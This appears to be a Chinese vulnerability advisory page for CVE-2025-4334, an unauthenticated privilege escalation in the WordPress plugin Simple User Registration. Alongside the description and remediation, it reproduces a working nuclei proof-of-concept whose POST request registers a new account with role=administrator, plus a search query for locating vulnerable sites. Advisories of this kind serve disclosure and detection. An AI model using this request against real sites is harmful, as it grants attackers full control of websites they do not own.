Simple User Registration 权限提升漏洞

漏洞信息

漏洞名称: Simple User Registration 权限提升漏洞

漏洞编号:

  • CVE: CVE-2025-4334

漏洞类型: 权限提升

漏洞等级: 严重

漏洞描述: Simple User Registration是一个WordPress插件,用于简化用户注册流程。它广泛应用于需要用户注册功能的WordPress网站中,特别是在企业级服务和社区网站中。该插件在版本6.3及之前存在一个严重的权限提升漏洞。漏洞的根源在于插件在用户注册过程中对用户元值的限制不足,导致未经认证的攻击者可以通过构造特定的注册请求,将自身注册为管理员。这种漏洞的技术类型属于权限提升,具体表现为缺乏对用户角色的适当验证和限制。攻击者利用此漏洞可以完全控制受影响的WordPress网站,执行任意代码,访问敏感数据,甚至可能进一步攻击网站的其他用户或服务器。由于该漏洞不需要任何认证即可利用,且攻击过程可以自动化,因此其安全风险极高。建议所有使用该插件的网站管理员立即更新到最新版本,或在不必要的情况下移除该插件。

产品厂商: lifeisincredible

产品名称: Simple User Registration

影响版本: <= 6.3

搜索语法: http.component:”wordpress” && http.html:”/wp-content/plugins/simple-user-registration/“

来源: https://github.com/projectdiscovery/nuclei-templates/blob/c753003573176aba08d5001eaf257ddba564dde2/http%2Fcves%2F2025%2FCVE-2025-4334.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

id: CVE-2025-4334

info:
name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
author: pussycat0x
severity: critical
description: |
The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.
reference:
- https://github.com/Nxploited/CVE-2025-4334
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-4334
cwe-id: CWE-269
impact: |
An attacker can exploit this vulnerability to register with administrator privileges, gaining full control over the WordPress site.
remediation: |
Update the Simple User Registration plugin to a version newer than 6.3 when available, or remove the plugin if not essential.
metadata:
verified: true
max-request: 2
vendor: lifeisincredible
product: simple-user-registration
shodan-query: http.component:"wordpress" && http.html:"/wp-content/plugins/simple-user-registration/"
tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,simple-user-registration


variables:
username: "{{randstr}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
password: "{{to_lower(rand_text_alpha(8))}}"

http:
- raw:
- |
GET /register/ HTTP/1.1
Host: {{Hostname}}

- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 417

action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator

matchers:
- type: dsl
dsl:
- contains(body_1, "WPR Register")
- contains(body_2, "user_id")
- contains(body_2, "Registration Done")
condition: and

extractors:
- type: regex
internal: true
group: 1
name: wpr_nonce
part: body
regex:
- 'name="wpr_nonce" value="([a-f0-9]+)"'

- type: regex
internal: true
group: 1
name: wpr_form_id
part: body
regex:
- 'name="wpr_form_id" value="([0-9]+)"'